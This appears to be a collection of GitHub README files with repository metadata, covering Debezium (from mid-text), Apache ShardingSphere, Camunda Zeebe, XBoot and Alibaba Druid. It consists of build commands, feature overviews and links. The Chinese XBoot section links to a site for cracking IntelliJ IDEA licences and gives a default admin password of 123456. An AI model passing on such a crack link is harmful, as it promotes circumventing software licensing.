-Pwal2json-decoder To run the integration tests of the PG connector using pgoutput, enable the "pgoutput-decoder" and "postgres-10" build profiles: $ mvn clean install -pl :debezium-connector-postgres -Ppgoutput-decoder,postgres-10 A few tests currently don't pass when using the wal2json plug-in. Look for references to the types defined in `io.debezium.connector.postgresql.DecoderDifferences` to find these tests. ### Running tests of the Postgres connector with specific Apicurio Version To run the tests of PG connector using wal2json or pgoutput logical decoding plug-ins with a specific version of Apicurio, a test property can be passed as: $ mvn clean install -pl debezium-connector-postgres -Pwal2json-decoder -Ddebezium.test.apicurio.version=1.3.1.Final In absence of the property the stable version of Apicurio will be fetched. ### Running tests of the Postgres connector against an external database, e.g. Amazon RDS Please note if you want to test against a *non-RDS* cluster, this test requires `<your user>` to be a superuser with not only `replication` but permissions to login to `all` databases in `pg_hba.conf`. It also requires `postgis` packages to be available on the target server for some of the tests to pass. $ mvn clean install -pl debezium-connector-postgres -Pwal2json-decoder \ -Ddocker.skip.build=true -Ddocker.skip.run=true -Dpostgres.host=<your PG host> \ -Dpostgres.user=<your user> -Dpostgres.password=<your password> \ -Ddebezium.test.records.waittime=10 Adjust the timeout value as needed. See [PostgreSQL on Amazon RDS](debezium-connector-postgres/RDS.md) for details on setting up a database on RDS to test against. ### Running tests of the Oracle connector using Oracle XStream $ mvn clean install -pl debezium-connector-oracle -Poracle-xstream,oracle-tests -Dinstantclient.dir=<path-to-instantclient> ### Running tests of the Oracle connector with a non-CDB database $ mvn clean install -pl debezium-connector-oracle -Poracle-tests -Dinstantclient.dir=<path-to-instantclient> -Ddatabase.pdb.name= ### Running the tests for MongoDB with oplog capturing from an IDE When running the test without maven, please make sure you pass the correct parameters to the execution. Look for the correct parameters in `.github/workflows/mongodb-oplog-workflow.yml` and append them to the JVM execution parameters, prefixing them with `debezium.test`. As the execution will happen outside of the lifecycle execution, you need to start the MongoDB container manually from the MongoDB connector directory $ mvn docker:start -B -am -Passembly -Dcheckstyle.skip=true -Dformat.skip=true -Drevapi.skip -Dcapture.mode=oplog -Dversion.mongo.server=3.6 -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn -Dmaven.wagon.http.pool=false -Dmaven.wagon.httpconnectionManager.ttlSeconds=120 -Dcapture.mode=oplog -Dmongo.server=3.6 The relevant portion of the line will look similar to the following: java -ea -Ddebezium.test.capture.mode=oplog -Ddebezium.test.version.mongo.server=3.6 -Djava.awt.headless=true -Dconnector.mongodb.members.auto.discover=false -Dconnector.mongodb.name=mongo1 -DskipLongRunningTests=true [...] ## Contributing The Debezium community welcomes anyone that wants to help out in any way, whether that includes reporting problems, helping with documentation, or contributing code changes to fix bugs, add tests, or implement new features. See [this document](CONTRIBUTE.md) for details. A big thank you to all the Debezium contributors! <a href="https://github.com/debezium/debezium/graphs/contributors"> <img src="https://contributors-img.web.app/image?repo=debezium/debezium" /> </a>
0
apache/shardingsphere
Distributed SQL transaction & query engine for data sharding, scaling, encryption, and more - on any database.
bigdata database database-cluster database-plus dba distributed-database distributed-sql-database distributed-transactions encrypt hacktoberfest mysql oltp postgresql rdbms shard sql
## [Distributed SQL transaction & query engine for data sharding, scaling, encryption, and more - on any database.](https://shardingsphere.apache.org/) **Official Website:** [https://shardingsphere.apache.org/](https://shardingsphere.apache.org/) [![GitHub Release](https://img.shields.io/github/release/apache/shardingsphere.svg)](https://github.com/apache/shardingsphere/releases) [![Lines of Code](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=ncloc)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=alert_status)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Technical Debt](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=sqale_index)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Maintainability Rating](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=sqale_rating)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Security Rating](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=security_rating)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![codecov](https://codecov.io/gh/apache/shardingsphere/branch/master/graph/badge.svg)](https://codecov.io/gh/apache/shardingsphere) [![OpenSSF Best Practices](https://bestpractices.coreinfrastructure.org/projects/5394/badge)](https://bestpractices.coreinfrastructure.org/projects/5394) [![Slack](https://img.shields.io/badge/%20Slack-ShardingSphere%20Channel-blueviolet)](https://join.slack.com/t/apacheshardingsphere/shared_invite/zt-sbdde7ie-SjDqo9~I4rYcR18bq0SYTg) [![Gitter](https://badges.gitter.im/shardingsphere/shardingsphere.svg)](https://gitter.im/shardingsphere/Lobby) [![Twitter](https://img.shields.io/twitter/url/https/twitter.com/ShardingSphere.svg?style=social&label=Follow%20%40ShardingSphere)](https://twitter.com/ShardingSphere) | **Stargazers Over Time** | **Contributors Over Time** | |:---------------------------------------------------------------------------------------------------------------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:| | [![Stargazers Over Time](https://starchart.cc/apache/shardingsphere.svg)](https://starchart.cc/apache/shardingsphere) | [![Contributor over time](https://contributor-graph-api.apiseven.com/contributors-svg?chart=contributorOverTime&repo=apache/shardingsphere)](https://www.apiseven.com/en/contributor-graph?chart=contributorOverTime&repo=apache/shardingsphere) | ### OVERVIEW <hr> Apache ShardingSphere is a distributed SQL transaction & query engine that allows for data sharding, scaling, encryption, and more - on any database. Our community's guiding development concept is Database Plus for creating a complete ecosystem that allows you to transform any database into a distributed database system. It focuses on repurposing existing databases, by placing a standardized upper layer above existing and fragmented databases, rather than creating a new database. The goal is to provide unified database services and minimize or eliminate the challenges caused by underlying databases' fragmentation. This results in applications only needing to communicate with a single standardized service. The concepts at the core of the project are `Connect`, `Enhance` and `Pluggable`. - `Connect:` Flexible adaptation of database protocol, SQL dialect and database storage. It can quickly connect applications and heterogeneous databases. - `Enhance:` Capture database access entry to provide additional features transparently, such as: redirect (sharding, readwrite-splitting and shadow), transform (data encrypt and mask), authentication (security, audit and authority), governance (circuit breaker and access limitation and analyze, QoS and observability). - `Pluggable:` Leveraging the micro kernel and 3 layers pluggable mode, features and database ecosystem can be embedded flexibly. Developers can customize their ShardingSphere just like building with LEGO blocks. ShardingSphere became an [Apache](https://apache.org/index.html#projects-list) Top-Level Project on April 16, 2020. So far, ShardingSphere has been used by over [10,000 projects on GitHub](https://github.com/search?l=Maven+POM&q=shardingsphere+language%3A%22Maven+POM%22&type=Code). ### DOCUMENTATION📜 <hr> [![EN doc](https://img.shields.io/badge/document-English-blue.svg)](https://shardingsphere.apache.org/document/current/en/overview/) [![CN doc](https://img.shields.io/badge/文档-中文版-blue.svg)](https://shardingsphere.apache.org/document/current/cn/overview/) For full documentation & more details, visit: [Docs](https://shardingsphere.apache.org/document/current/en/overview/) ### CONTRIBUTION🚀🧑💻 <hr> For guides on how to get started and setup your environment, contributor & committer guides, visit: [Contribution Guidelines](https://shardingsphere.apache.org/community/en/involved/) ### Team <hr> We deeply appreciate [community contributors](https://shardingsphere.apache.org/community/en/team) for their dedication to Apache ShardingSphere. ## ### COMMUNITY & SUPPORT💝🖤 <hr> :link: [Mailing List](https://shardingsphere.apache.org/community/en/involved/subscribe/). Best for: Apache community updates, releases, changes. :link: [GitHub Issues](https://github.com/apache/shardingsphere/issues). Best for: larger systemic questions/bug reports or anything development related. :link: [GitHub Discussions](https://github.com/apache/shardingsphere/discussions). Best for: technical questions & support, requesting new features, proposing new features. :link: [Slack channel](https://join.slack.com/t/apacheshardingsphere/shared_invite/zt-sbdde7ie-SjDqo9~I4rYcR18bq0SYTg). Best for: instant communications and online meetings, sharing your applications. :link: [Twitter](https://twitter.com/ShardingSphere). Best for: keeping up to date on everything ShardingSphere. :link: [LinkedIn](https://www.linkedin.com/showcase/apache-shardingsphere/e). Best for: professional networking and career development with other ShardingSphere contributors. ## ### STATUS👀 <hr> :white_check_mark: Version 5.4.1: released :tada: 🔗 For the release notes, follow this link to the relevant [GitHub page](https://github.com/apache/shardingsphere/blob/master/RELEASE-NOTES.md). :soon: Version 5.4.2 We are currently working towards our 5.4.2 milestone. Keep an eye on the [milestones page](https://github.com/apache/shardingsphere/milestones) of this repo to stay up to date. [comment]: <> (##) [comment]: <> (### NIGHTLY BUILDS:) [comment]: <> (<hr>) [comment]: <> (A nightly build of ShardingSphere from the latest master branch is available. ) [comment]: <> (The package is updated daily and is available [here]&#40;http://117.48.121.24:8080&#41;.) [comment]: <> (##) [comment]: <> (**‼️ Notice:**) [comment]: <> (<hr>) [comment]: <> (Use this nightly build at your own risk! ) [comment]: <> (The branch is not always fully tested. ) [comment]: <> (The nightly build may contain bugs, and there may be new features added which may cause problems with your environment. ) ## ### How it Works <hr> Apache ShardingSphere includes 2 independent products: JDBC & Proxy. They all provide functions of data scale-out, distributed transaction and distributed governance, applicable in a variety of situations such as Java-based isomorphism, heterogeneous language and Cloud-Native. ### ShardingSphere-JDBC <hr> [![Maven Status](https://img.shields.io/maven-central/v/org.apache.shardingsphere/shardingsphere-jdbc.svg?color=green)](https://mvnrepository.com/artifact/org.apache.shardingsphere/shardingsphere-jdbc) A lightweight Java framework providing extra services at the Java JDBC layer. With the client end connecting directly to the database, it provides services in the form of a jar and requires no extra deployment and dependence. :link: For more details, follow this [link to the official website](https://shardingsphere.apache.org/document/current/en/overview/#shardingsphere-jdbc). ### ShardingSphere-Proxy <hr> [![Nightly-Download](https://img.shields.io/static/v1?label=nightly-builds&message=download&color=orange)](https://nightlies.apache.org/shardingsphere/) [![Download](https://img.shields.io/badge/release-download-orange.svg)](https://www.apache.org/dyn/closer.lua/shardingsphere/5.3.2/apache-shardingsphere-5.3.2-shardingsphere-proxy-bin.tar.gz) [![Docker Pulls](https://img.shields.io/docker/pulls/apache/shardingsphere-proxy.svg)](https://store.docker.com/community/images/apache/shardingsphere-proxy) A transparent database proxy, providing a database server that encapsulates the database binary protocol to support heterogeneous languages. Friendlier to DBAs, the MySQL and PostgreSQL version now provided can use any kind of terminal. :link: For more details, follow this [link to the official website](https://shardingsphere.apache.org/document/current/en/overview/#shardingsphere-proxy). ### Hybrid Architecture <hr> ShardingSphere-JDBC adopts a decentralized architecture, applicable to high-performance light-weight OLTP applications developed with Java. ShardingSphere-Proxy provides static entry and all languages support, suitable for an OLAP application and sharding databases management and operation. Through the combination of ShardingSphere-JDBC & ShardingSphere-Proxy together with a unified sharding strategy by the same registry center, the ShardingSphere ecosystem can build an application system suitable to all kinds of scenarios. :link: More details can be found following this [link to the official website](https://shardingsphere.apache.org/document/current/en/overview/#hybrid-architecture). ## ### Solution <hr> | *Solutions/Features* | *Distributed Database* | *Data Security* | *Database Gateway* | *Stress Testing* | |----------------------|-------------------------|----------------------|-----------------------------------|------------------| | | Data Sharding | Data Encryption | Heterogeneous Databases Supported | Shadow Database | | | Read/write Splitting | Row Authority (TODO) | SQL Dialect Translate (TODO) | Observability | | | Distributed Transaction | SQL Audit (TODO) | | | | | Elastic Scale-out | SQL Firewall (TODO) | | | | | High Availability | | | | ## ### Roadmap <hr> ![Roadmap](https://shardingsphere.apache.org/document/current/img/roadmap_en.png) ## ### How to Build Apache ShardingSphere <hr> Check out [Wiki](https://github.com/apache/shardingsphere/wiki) section for details on how to build Apache ShardingSphere and a full guide on how to get started and setup your local dev environment. ## ### Landscapes <hr> <p align="center"> <br/><br/> <img src="https://landscape.cncf.io/images/cncf-landscape-horizontal-color.svg" width="165"/>&nbsp;&nbsp;<img src="https://www.cncf.io/wp-content/uploads/2023/04/cncf-main-site-logo.svg" width="200"/> <br/><br/> Apache ShardingSphere enriches the <a href="https://landscape.cncf.io/?category=app-definition-and-development&grouping=category">CNCF CLOUD NATIVE Landscape</a>. </p> ##
0
camunda/zeebe
Distributed Workflow Engine for Microservices Orchestration
bpmn golang grpc hacktoberfest java microservices orchestration-framework workflow workflow-engine
# Zeebe - Workflow Engine for Microservices Orchestration [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.camunda.zeebe/camunda-zeebe/badge.svg)](https://maven-badges.herokuapp.com/maven-central/io.camunda.zeebe/camunda-zeebe) Zeebe provides visibility into and control over business processes that span multiple microservices. It is the engine that powers [Camunda Platform 8](https://camunda.com/platform/zeebe/). **Why Zeebe?** * Define processes visually in [BPMN 2.0](https://www.omg.org/spec/BPMN/2.0.2/) * Choose your programming language * Deploy with [Docker](https://www.docker.com/) and [Kubernetes](https://kubernetes.io/) * Build processes that react to messages from [Kafka](https://kafka.apache.org/) and other message queues * Scale horizontally to handle very high throughput * Fault tolerance (no relational database required) * Export process data for monitoring and analysis * Engage with an active community [Learn more at camunda.com](https://camunda.com/platform/zeebe/) ## Release Lifecycle Our release cadence within major releases is a minor release every six months, with an alpha release on each of the five months between minor releases. Releases happen on the second Tuesday of the month, Berlin time (CET). Minor releases are supported with patches for eighteen months after their release. Here is a diagram illustrating the lifecycle of minor releases over a 27-month period: ``` 2022 2023 2024 Ap Ma Ju Ju Au Se Oc No De Ja Fe Ma Ap Ma Ju Ju Au Se Oc No De Ja Fe Ma Ap Ma Ju 8.0--------------------------------------------------| 8.1--------------------------------------------------| 8.2----------------------------------------- 8.3----------------------- 8.4----- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ``` Here is a diagram illustrating the release schedule of the five alpha releases prior to an upcoming minor release over a 7-month period: ``` 2022 2023 Oct Nov Dec Jan Feb Mar Apr 8.1----------------------------------------------------------------------------- 8.2-alpha1 8.2-alpha2 8.2-alpha3 8.2-alpha4 8.2-alpha5 8.2-- 1 2 3 4 5 6 7 ``` ## Status To learn more about what we're currently working on, check the [GitHub issues](https://github.com/camunda/zeebe/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc) and the [latest commits](https://github.com/camunda/zeebe/commits/main). ## Helpful Links * [Releases](https://github.com/camunda/zeebe/releases) * [Pre-built Docker images](https://hub.docker.com/r/camunda/zeebe/tags?page=1&ordering=last_updated) * [Building Docker images for other platforms](/zeebe/docs/building_docker_images.md) * [Blog](https://camunda.com/blog/category/process-automation-as-a-service/) * [Documentation Home](https://docs.camunda.io) * [Issue Tracker](https://github.com/camunda/zeebe/issues) * [User Forum](https://forum.camunda.io) * [Slack Channel](https://www.camunda.com/slack) * [Contribution Guidelines](/CONTRIBUTING.md) ## Recommended Docs Entries for New Users * [What is Camunda Platform 8?](https://docs.camunda.io/docs/components/concepts/what-is-camunda-platform-8/) * [Getting Started Tutorial](https://docs.camunda.io/docs/guides/) * [Technical Concepts](https://docs.camunda.io/docs/components/zeebe/technical-concepts/) * [BPMN Processes](https://docs.camunda.io/docs/components/modeler/bpmn/bpmn-primer/) * [Installation and Configuration](https://docs.camunda.io/docs/self-managed/zeebe-deployment/) * [Java Client](https://docs.camunda.io/docs/apis-clients/java-client/) * [Go Client](https://docs.camunda.io/docs/apis-clients/go-client/) * [Spring Integration](https://github.com/camunda-community-hub/spring-zeebe/) ## Contributing Read the [Contributions Guide](/CONTRIBUTING.md). ## Code of Conduct This project adheres to the [Camunda Code of Conduct](https://camunda.com/events/code-conduct/). By participating, you are expected to uphold this code. Please [report](https://camunda.com/events/code-conduct/reporting-violations/) unacceptable behavior as soon as possible. ## License Zeebe source files are made available under the [Zeebe Community License Version 1.1](/licenses/ZEEBE-COMMUNITY-LICENSE-1.1.txt) except for the parts listed below, which are made available under the [Apache License, Version 2.0](/licenses/APACHE-2.0.txt). See individual source files for details. Available under the [Apache License, Version 2.0](/licenses/APACHE-2.0.txt): - Java Client ([clients/java](/clients/java)) - Go Client ([clients/go](/clients/go)) - Exporter API ([exporter-api](/exporter-api)) - Protocol ([protocol](/protocol)) - Gateway Protocol Implementation ([gateway-protocol-impl](/gateway-protocol-impl)) - BPMN Model API ([bpmn-model](/bpmn-model)) ### Clarification on gRPC Code Generation The Zeebe Gateway Protocol (API) as published in the [gateway-protocol](/gateway-protocol/src/main/proto/gateway.proto) is licensed under the [Zeebe Community License 1.1](/licenses/ZEEBE-COMMUNITY-LICENSE-1.1.txt). Using gRPC tooling to generate stubs for the protocol does not constitute creating a derivative work under the Zeebe Community License 1.1 and no licensing restrictions are imposed on the resulting stub code by the Zeebe Community License 1.1.
0
Exrick/xboot
基于Spring Boot 2.x的一站式前后端分离快速开发平台XBoot 微信小程序+Uniapp 前端:Vue+iView Admin 后端:Spring Boot 2.x/Spring Security/JWT/JPA+Mybatis-Plus/Redis/Elasticsearch/Activiti 分布式限流/同步锁/验证码/SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式
activiti admin dark-mode dashboard elasticsearch iview jpa jwt mybatis-plus mysql oauth2 quartz redis spring-boot spring-security uniapp vue wechat-app xboot
# XBoot [![AUR](https://img.shields.io/badge/GPL-v3-red)](https://github.com/Exrick/xmall/blob/master/License) [![](https://img.shields.io/badge/Author-Exrick-orange.svg)](http://blog.exrick.cn) [![](https://img.shields.io/badge/version-3.3.4-brightgreen.svg)](https://github.com/Exrick/x-boot) [![GitHub stars](https://img.shields.io/github/stars/Exrick/x-boot.svg?style=social&label=Stars)](https://github.com/Exrick/x-boot) [![GitHub forks](https://img.shields.io/github/forks/Exrick/x-boot.svg?style=social&label=Fork)](https://github.com/Exrick/x-boot) ### 宣传视频 - [作者亲自制作XBoot文字快闪宣传视频](http://www.bilibili.com/av30284667) - [作者亲自制作其他项目宣传视频](https://www.bilibili.com/video/av23121122/) ### 宣传官网 - 官网地址:http://xb.exrick.cn - 官网源码:https://github.com/Exrick/xboot-show ### 在线Demo - 在线Demo:http://xboot.exrick.cn - 单点登录测试页:http://sso.exrick.cn - 统一认证平台访问地址:http://xboot.exrick.cn/authorize ### 最新最全面在线文档 https://www.kancloud.cn/exrick/xboot/content ### 前台基于Vue+iView项目地址: [xboot-front](https://github.com/Exrick/xboot-front) ### 版本说明 - xboot-fast:单应用版本 - xboot-module:多模块版本 ### 项目简介 - [x] 代码拥有详细注释 无复杂逻辑 核心使用 SpringBoot 2.4.8 - [x] JWT / 基于Redis可配置单设备登录Token交互 任意切换 提供开放平台、OAuth2认证中心 支持点单登录 - [x] JPA + Mybatis-Plus 任意切换 - [x] 操作日志记录方式任意切换Mysql或Elasticseach记录 - [x] Java、Vue、SQL代码生成效率翻四倍 - [x] 动态权限管理、多维度轻松控制权限按钮显示、数据权限管理 - [x] 支持社交账号、短信等多方式登录 不干涉原用户数据 实现第三方账号管理 - [x] 基于Websocket消息推送管理、基于Quartz定时任务管理、数据字典管理 - [x] 后台提供分布式限流、同步锁、验证码等工具类 前端提供丰富Vue模版 - [x] 可动态配置短信、邮件、Vaptcha验证码等 - [x] 为什么要前后端分离 - 都什么时代了还在用JQuery? ![](https://ooo.0o0.ooo/2019/04/29/5cc70cac4b7a4.png) ### 截图预览 - PC ![QQ截图20180826163917.png](https://ooo.0o0.ooo/2021/07/01/t6RXqn8LeaY5Nu1.png) ![QQ截图20180826164058.png](https://ooo.0o0.ooo/2021/07/01/TQZqrxog4ufX2SR.png) ![QQ截图20180826164144.png](https://ooo.0o0.ooo/2021/07/01/t7RdWhkbzZCawce.png) - iPad Mini 5 <img src=https://ooo.0o0.ooo/2021/07/01/gXl5OKkJHEIwf3N.png width=600/> - iPhone X <img src=https://ooo.0o0.ooo/2021/07/01/LdNPiKMlOESvfW8.png width=300/> ### [完整版截图细节展示](https://github.com/Exrick/x-boot/wiki/%E5%AE%8C%E6%95%B4%E7%89%88%E6%88%AA%E5%9B%BE%E7%BB%86%E8%8A%82%E5%B1%95%E7%A4%BA) ### 系统架构 <img src="https://ooo.0o0.ooo/2019/05/01/5cc87695f109d.png" width="600px"/> ### 前端所用技术 - Vue 2.6.x、Vue Cli 4.x、iView、iview-admin、iview-area、Vuex、Vue Router、ES6、webpack、axios、echarts、cookie等 - 前台为基于Vue+iView的独立项目请跳转至 [xboot-front](https://github.com/Exrick/xboot-front) 项目仓库查看 ### 后端所用技术 <img src=https://ooo.0o0.ooo/2019/11/25/gUiynavBAHd6hY8.jpg width=1000/> ##### 各框架依赖版本皆使用目前最新版本 - Spring Boot - SpringMVC - Spring Security - [Spring Data JPA](https://docs.spring.io/spring-data/jpa/docs/2.2.2.RELEASE/reference/html/) - [MyBatis-Plus](http://mp.baomidou.com):已更新至3.x版本 - [Redis](https://github.com/Exrick/xmall/blob/master/study/Redis.md) - [Elasticsearch](https://github.com/Exrick/xmall/blob/master/study/Elasticsearch.md):基于Lucene分布式搜索引擎 - [Druid](http://druid.io/):阿里高性能数据库连接池(偏监控 注重性能可使用默认HikariCP) [Druid配置官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter) - [Json Web Token(JWT)](https://jwt.io/) - [Quartz](http://www.quartz-scheduler.org):定时任务 - [Beetl](http://ibeetl.com/guide/#beetl):模版引擎 代码生成使用 - [Thymeleaf](https://www.thymeleaf.org/):发送模版邮件使用 - [Hutool](http://hutool.mydoc.io/):Java工具包 - [Jasypt](https://github.com/ulisesbocchio/jasypt-spring-boot):配置文件加密(thymeleaf作者开发) - [Swagger2](https://github.com/Exrick/xmall/blob/master/study/Swagger2.md):Api文档生成 - MySQL - [Nginx](https://github.com/Exrick/xmall/blob/master/study/Nginx.md) - [Maven](https://github.com/Exrick/xmall/blob/master/study/Maven.md) - 第三方SDK或服务 - [七牛云文件存储服务](https://developer.qiniu.com/kodo/sdk/1239/java) - [腾讯位置服务](https://lbs.qq.com/webservice_v1/guide-ip.html):需申请填入key后免费使用 - 完整版 - [Vaptcha人机验证码](https://www.vaptcha.com/) - [阿里云短信服务](https://dysms.console.aliyun.com) - 其它开发工具 - [Lombok](https://projectlombok.org/) - [JRebel](https://github.com/Exrick/xmall/blob/master/study/JRebel.md):开发秒级热部署 - [阿里JAVA开发规约插件](https://github.com/alibaba/p3c) ### 最新最全面在线文档 > 第一时间更新,文档永不收费 https://www.kancloud.cn/exrick/xboot/content ### 本地运行部署 - 安装依赖并启动:[Redis](https://github.com/Exrick/xmall/blob/master/study/Redis.md)、[Elasticsearch](https://github.com/Exrick/xmall/blob/master/study/Elasticsearch.md)(当配置使用ES记录日志时需要) - [Maven安装和在IDEA中配置](https://github.com/Exrick/xmall/blob/master/study/Maven.md) - 建议使用IDEA([破解/免费注册](http://idea.lanyus.com/)) 安装 `Lombok` 插件后导入该Maven项目 若未自动下载依赖请在根目录下执行 `mvn install` 命令 - MySQL数据库新建 `xboot` 数据库,配置文件已开启ddl自动生成表结构但无初始数据,请记得运行导入xboot.sql文件(当报错找不到Quartz相关表时请设置数据库忽略大小写或额外重新导入quartz.sql) - 修改配置文件 `application.yml` 相应配置,其中有详细注释,所有配置只需在这里修改 - 编译器中启动运行 `XbootApplication.java` 或根目录下执行命令 `mvn spring-boot:run` 默认端口8888 访问接口文档 `http://localhost:8888/doc.html` 说明启动成功 管理员账密admin|123456 - 前台页面请启动基于Vue的 [xboot-front](https://github.com/Exrick/xboot-front) 项目,并修改其接口代理配置 > 温馨提示:若更新代码后报错,请记得更新sql并清空Redis缓存 ### 开发指南及相关技术栈文档 - [项目基本配置和使用相关技术栈文档【必读】](https://github.com/Exrick/x-boot/wiki/%E9%A1%B9%E7%9B%AE%E5%9F%BA%E6%9C%AC%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BD%BF%E7%94%A8%E7%9B%B8%E5%85%B3%E6%8A%80%E6%9C%AF%E6%A0%88%E6%96%87%E6%A1%A3%E3%80%90%E5%BF%85%E8%AF%BB%E3%80%91) - [如何使用XBoot后端在30秒内开发出增删改接口](https://github.com/Exrick/x-boot/wiki/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8XBoot%E5%90%8E%E7%AB%AF%E5%9C%A830%E7%A7%92%E5%86%85%E5%BC%80%E5%8F%91%E5%87%BA%E5%A2%9E%E5%88%A0%E6%94%B9%E6%8E%A5%E5%8F%A3) - [具体XBoot增删改文档示例](https://github.com/Exrick/x-boot/wiki/CRUD) - 完整版 - [第三方社交账号登录配置](https://github.com/Exrick/x-boot/wiki/%E7%AC%AC%E4%B8%89%E6%96%B9%E7%A4%BE%E4%BA%A4%E8%B4%A6%E5%8F%B7%E7%99%BB%E5%BD%95%E9%85%8D%E7%BD%AE) - [短信登录配置](https://github.com/Exrick/x-boot/wiki/%E7%9F%AD%E4%BF%A1%E7%99%BB%E5%BD%95%E9%85%8D%E7%BD%AE) - [Vaptcha人机验证码配置使用](https://github.com/Exrick/x-boot/wiki/vaptcha%E4%BA%BA%E6%9C%BA%E9%AA%8C%E8%AF%81%E7%A0%81%E9%85%8D%E7%BD%AE%E4%BD%BF%E7%94%A8) - [Activiti工作流开发说明](https://github.com/Exrick/x-boot/wiki/Activiti%E5%B7%A5%E4%BD%9C%E6%B5%81%E5%BC%80%E5%8F%91%E8%AF%B4%E6%98%8E) ### [分布式扩展](https://github.com/alibaba/dubbo-spring-boot-starter/blob/master/README_zh.md) ### XBoot后端学习分享(更新中) 1. [Spring Boot 2.x 区别总结](https://github.com/Exrick/x-boot/wiki/SpringBoot2.x%E5%8C%BA%E5%88%AB%E6%80%BB%E7%BB%93) 2. [Spring Security整合JWT](https://github.com/Exrick/x-boot/wiki/SpringSecurity%E6%95%B4%E5%90%88JWT) 3. [Spring Security实现动态数据库权限管理](https://github.com/Exrick/x-boot/wiki/SpringSecurity%E5%8A%A8%E6%80%81%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86) 4. [Spring Boot 2.x整合Quartz](https://github.com/Exrick/x-boot/wiki/Spring-Boot-2.x%E6%95%B4%E5%90%88Quartz) 5. [基于Websocket实现发送消息后右上角消息图标红点实时显示](https://github.com/Exrick/x-boot/wiki/%E5%9F%BA%E4%BA%8EWebsocket%E5%AE%9E%E7%8E%B0%E5%8F%91%E9%80%81%E6%B6%88%E6%81%AF%E5%90%8E%E5%8F%B3%E4%B8%8A%E8%A7%92%E6%B6%88%E6%81%AF%E5%9B%BE%E6%A0%87%E7%BA%A2%E7%82%B9%E5%AE%9E%E6%97%B6%E6%98%BE%E7%A4%BA) 6. [Spring Boot 2.x整合Activiti工作流以及模型设计器](https://github.com/Exrick/x-boot/wiki/Spring-Boot-2.x%E6%95%B4%E5%90%88Activiti%E5%B7%A5%E4%BD%9C%E6%B5%81%E4%BB%A5%E5%8F%8A%E6%A8%A1%E5%9E%8B%E8%AE%BE%E8%AE%A1%E5%99%A8) ### Docker下后端集群部署(更新中) > 前端集群部署请跳转至[xboot-front](https://github.com/Exrick/xboot-front)项目查看 1.[Docker的安装与常用命令](https://github.com/Exrick/x-boot/wiki/Docker%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4) 2.基于PXC架构Mysql数据库集群搭建 3.Redis集群搭建 4.Elasticsearch集群搭建 5.XBoot后端集群部署 ### 商用授权 - 个人学习使用遵循GPL开源协议 - 商用需联系作者授权 ### 作者其他项目推荐 - [XMall微信小程序APP前端 现已开源!](https://github.com/Exrick/xmall-weapp) [![WX20190924-234416@2x.png](https://s2.ax1x.com/2019/10/06/ucEsBD.md.png)](https://www.bilibili.com/video/av70226175) - [XMall:基于SOA架构的分布式电商购物商城](https://github.com/Exrick/xmall) ![](https://ooo.0o0.ooo/2018/07/22/5b54615b95788.jpg) - [XPay个人免签收款支付系统](https://github.com/Exrick/xpay) - 机器学习笔记 - [Machine-Learning](https://github.com/Exrick/Machine-Learning) ### 技术疑问交流 - QQ交流群 `475743731(付费)`,可获取各项目详细图文文档、疑问解答 [![](http://pub.idqqimg.com/wpa/images/group.png)](http://shang.qq.com/wpa/qunwpa?idkey=7b60cec12ba93ebed7568b0a63f22e6e034c0d1df33125ac43ed753342ec6ce7) - 免费交流群 `562962309` [![](http://pub.idqqimg.com/wpa/images/group.png)](http://shang.qq.com/wpa/qunwpa?idkey=52f6003e230b26addeed0ba6cf343fcf3ba5d97829d17f5b8fa5b151dba7e842) - 作者博客:[http://blog.exrick.cn](http://blog.exrick.cn) ### [捐赠](http://xpay.exrick.cn/pay)
0
alibaba/druid
阿里云计算平台DataWorks(https://help.aliyun.com/document_detail/137663.html) 团队出品,为监控而生的数据库连接池
null
# druid [![Java CI](https://img.shields.io/github/actions/workflow/status/alibaba/druid/ci.yaml?branch=master&logo=github&logoColor=white)](https://github.com/alibaba/druid/actions/workflows/ci.yaml) [![Codecov](https://img.shields.io/codecov/c/github/alibaba/druid/master?logo=codecov&logoColor=white)](https://codecov.io/gh/alibaba/druid/branch/master) [![Maven Central](https://img.shields.io/maven-central/v/com.alibaba/druid?logo=apache-maven&logoColor=white)](https://search.maven.org/artifact/com.alibaba/druid) [![Last SNAPSHOT](https://img.shields.io/nexus/snapshots/https/oss.sonatype.org/com.alibaba/druid?label=latest%20snapshot)](https://oss.sonatype.org/content/repositories/snapshots/com/alibaba/druid/) [![GitHub release](https://img.shields.io/github/release/alibaba/druid)](https://github.com/alibaba/druid/releases) [![License](https://img.shields.io/github/license/alibaba/druid?color=4D7A97&logo=apache)](https://www.apache.org/licenses/LICENSE-2.0.html) Introduction --- - git clone https://github.com/alibaba/druid.git - cd druid && mvn install - have fun. # 相关阿里云产品 * [DataWorks数据集成](https://help.aliyun.com/document_detail/137663.html) ![DataWorks](https://github.com/alibaba/druid/raw/master/doc/dataworks_datax.png) Documentation --- - 中文 https://github.com/alibaba/druid/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 - English https://github.com/alibaba/druid/wiki/FAQ - Druid Spring Boot Starter 